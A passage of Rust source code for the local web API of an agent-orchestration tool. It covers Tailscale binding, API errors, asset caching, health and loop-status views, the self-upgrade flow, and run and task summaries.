1675 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1676 local-only and a phone cannot reach it; start Tailscale \
1677 or pass --bind <addr>"
1678 )),
1679 ),
1680 },
1681 }
1682}
1683
1684fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1692 let out = std::process::Command::new("tailscale")
1693 .args(["ip", "-4"])
1694 .quiet()
1695 .output()
1696 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1697 if !out.status.success() {
1698 let why = String::from_utf8_lossy(&out.stderr);
1699 let why = why.trim();
1700 return Err(format!(
1701 "`tailscale ip -4` failed ({}){}",
1702 out.status,
1703 if why.is_empty() {
1704 String::new()
1705 } else {
1706 format!(": {why}")
1707 }
1708 ));
1709 }
1710 String::from_utf8_lossy(&out.stdout)
1711 .lines()
1712 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1713 .find(is_tailnet)
1714 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1715}
1716
1717fn is_tailnet(ip: &Ipv4Addr) -> bool {
1719 let o = ip.octets();
1720 o[0] == 100 && (64..=127).contains(&o[1])
1721}
1722
1723type ApiResult<T> = std::result::Result<T, ApiError>;
1727
1728#[derive(Debug)]
1730struct ApiError {
1731 status: StatusCode,
1732 message: String,
1733}
1734
1735impl ApiError {
1736 fn bad_request(message: impl Into<String>) -> Self {
1738 Self {
1739 status: StatusCode::BAD_REQUEST,
1740 message: message.into(),
1741 }
1742 }
1743
1744 fn not_found(message: impl Into<String>) -> Self {
1746 Self {
1747 status: StatusCode::NOT_FOUND,
1748 message: message.into(),
1749 }
1750 }
1751
1752 fn with_status(mut self, status: StatusCode) -> Self {
1755 self.status = status;
1756 self
1757 }
1758
1759 fn bad_request_from(e: anyhow::Error) -> Self {
1763 Self::bad_request(format!("{e:#}"))
1764 }
1765
1766 fn conflict(message: impl Into<String>) -> Self {
1767 Self {
1768 status: StatusCode::CONFLICT,
1769 message: message.into(),
1770 }
1771 }
1772
1773 fn internal(message: impl Into<String>) -> Self {
1775 Self {
1776 status: StatusCode::INTERNAL_SERVER_ERROR,
1777 message: message.into(),
1778 }
1779 }
1780}
1781
1782impl From<anyhow::Error> for ApiError {
1783 fn from(e: anyhow::Error) -> Self {
1788 Self::internal(format!("{e:#}"))
1789 }
1790}
1791
1792impl IntoResponse for ApiError {
1793 fn into_response(self) -> Response {
1794 let body = serde_json::json!({ "error": self.message });
1795 (self.status, Json(body)).into_response()
1796 }
1797}
1798
1799async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1808where
1809 T: Send + 'static,
1810{
1811 match tokio::task::spawn_blocking(job).await {
1812 Ok(result) => result,
1813 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1814 }
1815}
1816
1817const ASSET_CACHE: &str = "no-cache, must-revalidate";
1835
1836fn asset_etag() -> &'static str {
1843 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1844 format!(
1845 "\"{}-{}\"",
1846 env!("CARGO_PKG_VERSION"),
1847 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1852 )
1853 });
1854 &TAG
1855}
1856
1857fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1859 [
1860 (header::CONTENT_TYPE, mime),
1861 (header::CACHE_CONTROL, ASSET_CACHE),
1862 (header::ETAG, asset_etag()),
1863 ]
1864}
1865
1866fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1874 let tag = asset_etag();
1875 let known = headers
1876 .get(header::IF_NONE_MATCH)
1877 .and_then(|v| v.to_str().ok())
1878 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1882 if known {
1883 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1884 }
1885 (asset_headers(mime), body).into_response()
1886}
1887
1888async fn index(headers: header::HeaderMap) -> Response {
1889 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1890}
1891
1892async fn app_css(headers: header::HeaderMap) -> Response {
1893 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1894}
1895
1896async fn app_js(headers: header::HeaderMap) -> Response {
1897 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1898}
1899
1900#[derive(Debug, Serialize)]
1902struct HealthView {
1903 version: &'static str,
1904 home: String,
1905 queue_rev: u64,
1906 runs_rev: u64,
1907 questions_rev: u64,
1919 talks_rev: u64,
1921 notifications_rev: u64,
1923 notifications_unread: usize,
1926 loop_rev: u64,
1931 runs_unreadable: usize,
1939 disk: DiskView,
1947 questions_open: usize,
1953 questions_needs_owner: usize,
1963 daemon: DaemonView,
1964 #[serde(rename = "loop")]
1970 looping: LoopView,
1971 update: UpdateView,
1978 upgrade: Option<UpgradeProgressView>,
1982}
1983
1984#[derive(Debug, Serialize)]
1991struct UpdateView {
1992 available: bool,
1994 to: Option<String>,
1996}
1997
1998#[derive(Debug, Serialize)]
2000struct UpgradeProgressView {
2001 stage: updater::Stage,
2002 from: String,
2003 to: Option<String>,
2004 waiting_on: Option<String>,
2007 started_at: Timestamp,
2008 updated_at: Timestamp,
2009 detail: Option<String>,
2010 stuck_for_secs: Option<i64>,
2013 stuck_kind: Option<updater::StallKind>,
2016 handover_alive: bool,
2019}
2020
2021fn should_spawn_recheck(cfg: &Update) -> bool {
2028 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2029}
2030
2031fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2043 if progress.is_some_and(|p| !p.stage.terminal()) {
2044 return false;
2045 }
2046 checker.should_check()
2047}
2048
2049fn recheck_poll_period(cfg: &Update) -> Duration {
2062 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2063}
2064
2065async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2089 loop {
2090 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2091 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2092 if !should_spawn_recheck(&cfg.update) {
2093 continue;
2094 }
2095 let Some(checker) = updater::Checker::new(&cfg.update) else {
2096 continue;
2097 };
2098 let progress = updater::read_progress(&home);
2099 if !update_recheck_due(&checker, progress.as_ref()) {
2100 continue;
2101 }
2102 if let Err(e) = checker.newer_release().await {
2103 tracing::warn!("background update recheck failed: {e:#}");
2104 }
2105 }
2106}
2107
2108fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2114 let default;
2115 let cfg = match cfg {
2116 Some(cfg) => cfg,
2117 None => {
2118 default = Config::default();
2119 &default
2120 }
2121 };
2122 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2123 match latest {
2124 Some(latest) => UpdateView {
2125 available: true,
2126 to: Some(latest.tag_name),
2127 },
2128 None => UpdateView {
2129 available: false,
2130 to: None,
2131 },
2132 }
2133}
2134
2135fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2141 let now = Timestamp::now();
2142 let lease = updater::read_lease(&ui.home);
2143 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2144 let run_id = alive
2145 .and_then(|l| l.parked_run.as_deref())
2146 .or(progress.parked_run.as_deref());
2147 let parking = progress.stage == updater::Stage::Parking;
2148 let waited = alive.map_or_else(String::new, |l| {
2149 let secs = updater::waited_secs(l, now);
2150 format!(" (waited {} min so far)", secs / 60)
2151 });
2152 let run_text = run_id
2153 .filter(|_| parking)
2154 .map(|id| match read_run(&ui.runs, id).ok() {
2155 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2156 None => format!("run {id} is finishing"),
2157 });
2158 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2159 .filter(|t| parking && !t.is_empty())
2160 .map(|t| format!("{t} finishing"));
2161 let waiting_on = match (run_text, talks_text) {
2162 (None, None) => None,
2163 (run, talks) => {
2164 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2165 Some(format!(
2166 "{} before the address is handed over{waited}",
2167 parts.join(" and ")
2168 ))
2169 }
2170 };
2171 let detail = progress
2172 .detail
2173 .clone()
2174 .or_else(|| updater::read_note(&ui.home, &progress));
2175 let stalled = updater::stall(&progress, lease.as_ref(), now);
2176 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2177 UpgradeProgressView {
2178 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2179 stuck_kind: stalled.map(|s| s.kind),
2180 handover_alive: alive.is_some(),
2181 stage: progress.stage,
2182 from: progress.from,
2183 to: progress.to,
2184 waiting_on,
2185 started_at: progress.started_at,
2186 updated_at: progress.updated_at,
2187 detail,
2188 }
2189}
2190
2191#[derive(Debug, Serialize)]
2196struct DiskView {
2197 #[serde(skip_serializing_if = "Option::is_none")]
2199 free_bytes: Option<u64>,
2200 runs_bytes: u64,
2202 worktrees_bytes: u64,
2204 #[serde(skip_serializing_if = "Option::is_none")]
2206 cache_bytes: Option<u64>,
2207}
2208
2209impl DiskView {
2210 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2212 let cache_bytes = cfg
2213 .and_then(|cfg| cfg.cache_dir())
2214 .map(|dir| crate::disk::dir_size(&dir));
2215 Self {
2216 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2217 runs_bytes: crate::disk::dir_size(&ui.runs),
2218 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2219 cache_bytes,
2220 }
2221 }
2222}
2223
2224#[derive(Debug, Serialize)]
2226struct DaemonView {
2227 running: bool,
2228 idle: Option<bool>,
2229 pid: Option<u32>,
2230 current: Vec<daemon::Current>,
2234 completed: Option<u64>,
2235 stale_for_secs: Option<i64>,
2236}
2237
2238impl DaemonView {
2239 fn of(status: Option<daemon::Reading>) -> Self {
2243 let Some(status) = status else {
2244 return Self {
2245 running: false,
2246 idle: None,
2247 pid: None,
2248 current: Vec::new(),
2249 completed: None,
2250 stale_for_secs: None,
2251 };
2252 };
2253 let now = Timestamp::now();
2254 let age = status.age_secs(now);
2255 Self {
2256 running: status.running(now),
2257 idle: Some(status.idle),
2258 pid: status.pid,
2259 current: status.current,
2260 completed: Some(status.completed),
2261 stale_for_secs: age,
2262 }
2263 }
2264}
2265
2266async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2267 blocking(move || {
2268 let reading = daemon::read_status(&ui.home);
2272 let loop_rev = ui.lock_loop().rev;
2276 let cfg = deputy_config(&ui.repo);
2279 let update = cached_update_view(cfg.as_ref());
2280 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2281 Ok(Json(HealthView {
2282 version: env!("CARGO_PKG_VERSION"),
2283 home: ui.home.display().to_string(),
2284 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2285 runs_rev: runs_revision(&ui.runs),
2286 questions_rev: ui.questions.revision(),
2287 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2288 notifications_rev: ui.notices.revision(),
2289 notifications_unread: ui.notices.count_unread(),
2290 loop_rev,
2291 runs_unreadable: runs_unreadable(&ui.runs),
2292 questions_open: ui.questions.count_open(),
2293 questions_needs_owner: ui.questions.count_needs_owner(),
2294 daemon: DaemonView::of(reading.clone()),
2295 looping: ui.loop_view(reading),
2296 disk: DiskView::of(&ui, cfg.as_ref()),
2297 update,
2298 upgrade,
2299 }))
2300 })
2301 .await
2302}
2303
2304#[derive(Debug, Serialize)]
2306struct LoopView {
2307 running: bool,
2309 stopping: bool,
2317 parking: bool,
2325 owned: bool,
2333 repo: String,
2336 merge: Option<String>,
2339 last_error: Option<String>,
2347 daemon: DaemonView,
2350}
2351
2352#[derive(Debug, Clone, Copy)]
2361struct Foreign {
2362 pid: Option<u32>,
2364}
2365
2366impl Foreign {
2367 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2370 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2374 }
2375
2376 fn who(&self) -> String {
2379 match self.pid {
2380 Some(pid) => format!("another magi process (pid {pid})"),
2381 None => "another magi process".to_owned(),
2382 }
2383 }
2384}
2385
2386type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2391
2392fn launch_daemon(
2394 opts: daemon::Opts,
2395 stop: daemon::Stop,
2396) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2397 Box::pin(daemon::serve_until(opts, stop))
2398}
2399
2400#[derive(Debug, Default)]
2402struct LoopState {
2403 live: Option<Live>,
2405 rev: u64,
2413 last_error: Option<String>,
2416 resume_after_handover: bool,
2421}
2422
2423#[derive(Debug)]
2425struct Live {
2426 stop: daemon::Stop,
2428 handle: tokio::task::JoinHandle<()>,
2433 opts: daemon::Opts,
2437}
2438
2439impl Live {
2440 fn alive(&self) -> bool {
2442 !self.handle.is_finished()
2443 }
2444}
2445
2446fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2453 state.lock().unwrap_or_else(PoisonError::into_inner)
2454}
2455
2456async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2458 blocking(move || {
2459 let reading = daemon::read_status(&ui.home);
2460 Ok(Json(ui.loop_view(reading)))
2461 })
2462 .await
2463}
2464
2465#[derive(Debug, Deserialize)]
2471#[serde(deny_unknown_fields)]
2472struct LoopCommand {
2473 running: bool,
2474 #[serde(default)]
2484 park: bool,
2485}
2486
2487async fn loop_post(
2495 State(ui): State<Arc<Ui>>,
2496 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2497) -> ApiResult<Json<LoopView>> {
2498 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2501 blocking(move || {
2502 let reading = daemon::read_status(&ui.home);
2503 let foreign = Foreign::of(reading.as_ref());
2504 if body.running {
2505 ui.start_loop(foreign)?;
2506 } else {
2507 ui.stop_loop(foreign, body.park)?;
2508 }
2509 Ok(Json(ui.loop_view(reading)))
2510 })
2511 .await
2512}
2513
2514#[derive(Debug, Serialize)]
2516struct UpgradeView {
2517 from: String,
2519 to: Option<String>,
2521 parked: Option<String>,
2523 detail: String,
2525}
2526
2527fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2530 progress.filter(|p| !p.stage.terminal())
2531}
2532
2533async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2557 let reading = daemon::read_status(&ui.home);
2558 if let Some(other) = Foreign::of(reading.as_ref()) {
2559 return Err(ApiError::conflict(format!(
2560 "the loop belongs to {}, so replacing this binary would leave \
2561 that process running an old one against the same queue. Upgrade \
2562 where it was started.",
2563 other.who()
2564 )));
2565 }
2566
2567 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2572 return Err(ApiError::conflict(
2573 "another request is already preparing an upgrade",
2574 ));
2575 };
2576 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2577 return Err(ApiError::conflict(
2578 "an upgrade is already in progress (this process started one and it \
2579 has not finished or failed yet)",
2580 ));
2581 }
2582 let recorded = updater::read_progress(&ui.home);
2583 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2584 return Err(ApiError::conflict(format!(
2585 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2586 stays stuck, restart the deck; on start it settles a stale record.",
2587 p.stage.as_str(),
2588 p.from,
2589 p.to.as_deref().unwrap_or("?"),
2590 )));
2591 }
2592
2593 if crate::updater::disabled_by_env() {
2599 return Ok((
2600 StatusCode::OK,
2601 Json(UpgradeView {
2602 from: env!("CARGO_PKG_VERSION").to_owned(),
2603 to: None,
2604 parked: None,
2605 detail: format!(
2606 "Automatic updates are disabled by {}. Nothing was parked \
2607 and nothing restarted.",
2608 crate::updater::NO_AUTOUPDATE_ENV
2609 ),
2610 }),
2611 ));
2612 }
2613
2614 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2619 let from = env!("CARGO_PKG_VERSION").to_owned();
2620 let latest = match crate::updater::Checker::new(&cfg.update) {
2621 Some(checker) => checker
2622 .newer_release()
2623 .await
2624 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2625 None => None,
2626 };
2627 let Some(latest) = latest else {
2628 return Ok((
2629 StatusCode::OK,
2630 Json(UpgradeView {
2631 from,
2632 to: None,
2633 parked: None,
2634 detail: "Already on the newest release. Nothing was parked \
2635 and nothing restarted."
2636 .to_owned(),
2637 }),
2638 ));
2639 };
2640
2641 let parked = ui.park_for_upgrade()?;
2644 let detail = match &parked {
2645 Some(run) => format!(
2650 "Run {} is parking at its next step, which can take as long as \
2651 the step it is on - up to an hour for an implement wave. The \
2652 deck replaces itself once it parks, comes back, and the loop \
2653 carries that run on from where it stopped. Nothing is lost if \
2654 you close this.",
2655 crate::run::short_of(run)
2656 ),
2657 None => "The deck replaces itself and comes back. Nothing was in \
2658 flight to park."
2659 .to_owned(),
2660 };
2661
2662 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2666 progress.parked_run = parked.clone();
2667 updater::write_progress_logged(&ui.home, &progress);
2671
2672 let home = ui.home.clone();
2673 let looping = ui.looping();
2674 ui.upgrade_spawned
2675 .store(true, std::sync::atomic::Ordering::SeqCst);
2676 let spawned = Arc::clone(&ui.upgrade_spawned);
2677 tokio::spawn(async move {
2678 if let Err(e) = upgrade_and_restart(home.clone()).await {
2679 tracing::error!("the upgrade did not complete: {e:#}");
2680 lock_or_recover(&looping).resume_after_handover = false;
2681 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2685 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2688 }
2689 });
2690
2691 Ok((
2692 StatusCode::ACCEPTED,
2693 Json(UpgradeView {
2694 from,
2695 to: Some(latest.tag_name),
2696 parked,
2697 detail,
2698 }),
2699 ))
2700}
2701
2702async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2707 crate::updater::run_self_update(true, false, true).await?;
2710 updater::log_step(&home, "binary replaced - recording the replaced stage");
2711 if let Some(mut progress) = updater::read_progress(&home) {
2712 progress.advance(updater::Stage::Replaced);
2713 updater::write_progress_logged(&home, &progress);
2714 }
2715 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2716 HANDOVER.notify_one();
2717 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2718 Ok(())
2719}
2720
2721#[derive(Debug, Serialize)]
2727struct RunSummary {
2728 id: String,
2729 short: String,
2730 status: String,
2731 done: bool,
2732 instruction: String,
2733 title: String,
2734 repo: String,
2735 repo_name: String,
2736 created_at: String,
2737 updated_at: String,
2738 candidates: usize,
2739 viable: usize,
2740 judges: usize,
2741 winner: Option<char>,
2742 reviews: usize,
2743 quota_losses: usize,
2744 event: Option<String>,
2745 superseded_by: Option<String>,
2750 waiting: bool,
2757 live: crate::run::Liveness,
2761 pr: Option<crate::run::PrRecord>,
2763 unmerged_by_design: bool,
2769 origin_label: String,
2772}
2773
2774impl RunSummary {
2775 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2776 Self {
2777 id: state.id.clone(),
2778 short: state.short().to_owned(),
2779 status: status_word(state.status),
2780 done: state.status.done(),
2781 unmerged_by_design: state.unmerged_by_design(),
2782 instruction: state.instruction.clone(),
2783 title: title_from(&state.instruction, TITLE_MAX),
2784 repo: state.repo.display().to_string(),
2785 repo_name: state
2786 .repo
2787 .file_name()
2788 .map(|n| n.to_string_lossy().into_owned())
2789 .unwrap_or_default(),
2790 created_at: state.created_at.to_string(),
2791 updated_at: state.updated_at.to_string(),
2792 candidates: state.candidates.len(),
2793 viable: state.viable().len(),
2794 judges: state.config.graph.judges,
2795 winner: state.winner().map(|c| c.label),
2796 reviews: state.reviews.len(),
2797 quota_losses: state.quota.len(),
2798 event: state.events.last().map(|e| e.message.clone()),
2799 waiting,
2800 live,
2801 superseded_by: None,
2804 pr: state.pr.clone(),
2805 origin_label: crate::run::origin_label(state.origin.as_ref()),
2806 }
2807 }
2808}
2809
2810fn status_word(status: RunStatus) -> String {
2813 status.as_str().to_owned()
2817}
2818
2819#[derive(Debug, Deserialize)]
2821struct ListQuery {
2822 #[serde(default)]
2823 limit: Option<usize>,
2824 ids: Option<String>,
2826}
2827
2828impl ListQuery {
2829 fn contains(&self, id: &str) -> bool {
2830 self.ids
2831 .as_ref()
2832 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2833 }
2834}
2835
2836async fn runs_list(
2837 State(ui): State<Arc<Ui>>,
2838 Query(q): Query<ListQuery>,
2839) -> ApiResult<Json<Vec<RunSummary>>> {
2840 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2841 blocking(move || {
2842 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2843 let states = run_ids(&ui.runs)
2844 .into_iter()
2845 .filter_map(|id| read_run(&ui.runs, &id).ok())
2850 .take(limit)
2851 .filter(|run| q.contains(&run.id));
2852 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2853 let summaries = summarize(
2854 states,
2855 &open_runs,
2856 &claimed,
2857 &superseded,
2858 |p| probe.borrow_mut().status(p),
2859 |p| probe.borrow_mut().started_at(p),
2860 );
2861 Ok(Json(summaries))
2862 })
2863 .await
2864}
2865
2866fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2871 let open_runs: HashSet<String> = ui
2872 .questions
2873 .list()
2874 .into_iter()
2875 .filter(|q| q.status.open())
2876 .map(|q| q.run)
2877 .collect();
2878 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2879 .into_iter()
2880 .map(|c| c.run)
2881 .collect();
2882 (open_runs, claimed, ui.queue.superseded())
2883}
2884
2885fn summarize<I, S, D>(
2891 states: I,
2892 open_runs: &HashSet<String>,
2893 claimed: &HashSet<String>,
2894 superseded: &HashMap<String, String>,
2895 mut status_q: S,
2896 mut identity_q: D,
2897) -> Vec<RunSummary>
2898where
2899 I: IntoIterator<Item = RunState>,
2900 S: FnMut(u32) -> Option<bool>,
2901 D: FnMut(u32) -> Option<String>,
2902{
2903 states
2904 .into_iter()
2905 .map(|state| {
2906 let waiting = open_runs.contains(&state.id);
2907 let live =
2908 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2909 let mut row = RunSummary::of(&state, waiting, live);
2910 row.superseded_by = superseded
2911 .get(&state.id)
2912 .map(String::as_str)
2913 .map(crate::run::short_of)
2914 .map(str::to_owned);
2915 row
2916 })
2917 .collect()
2918}
2919
2920#[derive(Debug, Serialize)]
2927struct RunDetailView {
2928 #[serde(flatten)]
2929 state: RunState,
2930 instruction_md: Vec<md::Node>,
2931 #[serde(flatten)]
2935 prose_md: RunProseMd,
2936 live: crate::run::Liveness,
2951 unmerged_by_design: bool,
2956 done: bool,
2961 superseded_by: Option<String>,
2969 latest_attempt: Option<LatestAttempt>,
2983 task: Option<TaskRef>,
2986 origin_label: String,
2990}
2991
2992#[derive(Debug, Serialize)]
2994struct TaskRef {
2995 id: String,
2996 short: String,
2997 title: String,
2998 source_label: String,
3000 source_link: Option<SourceLink>,
3002 status: &'static str,
3004 attempts: usize,
3005 max_attempts: usize,
3006 is_latest: bool,
3008 latest: Option<RunBrief>,
3010 finished_by: Option<RunBrief>,
3012 closed_by_hand: bool,
3014}
3015
3016#[derive(Debug, PartialEq, Eq, Serialize)]
3018struct SourceLink {
3019 kind: &'static str,
3021 id: String,
3023 href: String,
3025}
3026
3027fn encode_segment(raw: &str) -> String {
3029 let mut out = String::with_capacity(raw.len());
3030 for b in raw.bytes() {
3031 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3032 out.push(b as char);
3033 } else {
3034 out.push_str(&format!("%{b:02X}"));
3035 }
3036 }
3037 out
3038}
3039
3040fn source_link(source: &Source) -> Option<SourceLink> {
3044 let Source::Agent { run, node } = source else {
3045 return None;
3046 };
3047 let (kind, route) = if node == crate::queue::CHAT_NODE {
3048 ("chat", "chat")
3049 } else {
3050 ("run", "runs")
3051 };
3052 Some(SourceLink {
3053 kind,
3054 id: run.clone(),
3055 href: format!("#/{route}/{}", encode_segment(run)),
3056 })
3057}
3058
3059#[derive(Debug, Serialize)]
3061struct RunBrief {
3062 id: String,
3063 short: String,
3064 status: Option<&'static str>,
3066 outcome: String,
3068}
3069
3070fn task_outcome(
3073 task: &Task,
3074 this_run: &str,
3075 max_attempts: usize,
3076 read: impl Fn(&str) -> Option<RunState>,
3077) -> TaskRef {
3078 let history = task_history(task, read);
3079 let brief = |h: &TaskRunView| RunBrief {
3080 id: h.id.clone(),
3081 short: h.short.clone(),
3082 status: h.status,
3083 outcome: h.exit.edge_label(h.status),
3084 };
3085 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3086 let latest = if is_latest {
3087 None
3088 } else {
3089 history.last().map(brief)
3090 };
3091 let done = task.status == TaskStatus::Done;
3092 let finished_by = done
3093 .then(|| {
3094 history
3095 .iter()
3096 .rev()
3097 .find(|h| {
3098 matches!(
3099 h.exit,
3100 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3101 )
3102 })
3103 .map(brief)
3104 })
3105 .flatten();
3106 TaskRef {
3107 short: task.short().to_owned(),
3108 title: task.title.clone(),
3109 id: task.id.clone(),
3110 source_label: task.source.label(),
3111 source_link: source_link(&task.source),
3112 status: task.status.as_str(),
3113 attempts: task.attempts,
3114 max_attempts,
3115 is_latest,
3116 latest,
3117 closed_by_hand: done && finished_by.is_none(),
3118 finished_by,
3119 }
3120}
3121
3122#[derive(Debug, Serialize)]
3124struct LatestAttempt {
3125 id: String,
3126 short: String,
3127 resolved: bool,
3138 status: RunStatus,
3141 done: bool,
3143}
3144
3145#[derive(Debug, Default, Serialize)]
3147struct RunProseMd {
3148 advice_md: Option<AdviceMd>,
3150 candidate_summaries_md: Vec<Vec<md::Node>>,
3152 reviews_md: Vec<RoundMd>,
3154}
3155
3156#[derive(Debug, Default, Serialize)]
3157struct AdviceMd {
3158 synthesis: Vec<md::Node>,
3159 approaches: Vec<Vec<md::Node>>,
3161}
3162
3163#[derive(Debug, Default, Serialize)]
3164struct RoundMd {
3165 reviewers: Vec<ReviewerMd>,
3167 reconsideration: Vec<Vec<md::Node>>,
3169 fix: Option<FixMd>,
3170}
3171
3172#[derive(Debug, Default, Serialize)]
3173struct ReviewerMd {
3174 summary: Vec<md::Node>,
3175 findings: Vec<Vec<md::Node>>,
3177}
3178
3179#[derive(Debug, Default, Serialize)]
3180struct FixMd {
3181 notes: Vec<md::Node>,
3182 rejected: Vec<Vec<md::Node>>,
3184}
3185
3186fn run_prose_md(state: &RunState) -> RunProseMd {
3188 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3189 RunProseMd {
3190 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3191 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3192 approaches: a
3193 .records
3194 .iter()
3195 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3196 .collect(),
3197 }),
3198 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3199 reviews_md: state
3200 .reviews
3201 .iter()
3202 .map(|round| RoundMd {
3203 reviewers: round
3204 .reviews
3205 .iter()
3206 .map(|rec| ReviewerMd {
3207 summary: nodes(&rec.summary),
3208 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3209 })
3210 .collect(),
3211 reconsideration: round
3212 .reconsideration
3213 .iter()
3214 .map(|rv| nodes(&rv.reason))
3215 .collect(),
3216 fix: round.fix.as_ref().map(|fix| FixMd {
3217 notes: nodes(&fix.notes),
3218 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3219 }),
3220 })
3221 .collect(),
3222 }
3223}
3224
3225impl RunDetailView {
3226 fn of(
3227 state: RunState,
3228 live: crate::run::Liveness,
3229 superseded_by: Option<String>,
3230 latest_attempt: Option<LatestAttempt>,
3231 task: Option<TaskRef>,
3232 ) -> Self {
3233 Self {
3234 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3235 prose_md: run_prose_md(&state),
3236 origin_label: crate::run::origin_label(state.origin.as_ref()),
3237 live,
3238 unmerged_by_design: state.unmerged_by_design(),
3239 done: state.status.done(),
3240 superseded_by,
3241 latest_attempt,
3242 task,
3243 state,
3244 }
3245 }
3246}
3247
3248async fn run_detail(
3249 State(ui): State<Arc<Ui>>,
3250 Path(id): Path<String>,
3251) -> ApiResult<Json<RunDetailView>> {
3252 blocking(move || {
3253 let id = resolve_run(&ui.runs, &id)?;
3254 let state = read_run(&ui.runs, &id)?;
3255 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3256 let live = state.liveness(daemon_claims);
3257 let superseded_by = ui
3258 .queue
3259 .superseded_by(&id)
3260 .as_deref()
3261 .map(crate::run::short_of)
3262 .map(str::to_owned);
3263 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3267 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3268 short: head.short().to_owned(),
3269 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3270 status: head.status,
3271 done: head.status.done(),
3272 id: head.id,
3273 })
3274 });
3275 let max_attempts = daemon::Opts::default().max_attempts;
3276 let task = ui
3277 .queue
3278 .list()
3279 .into_iter()
3280 .find(|t| t.runs.contains(&id))
3281 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
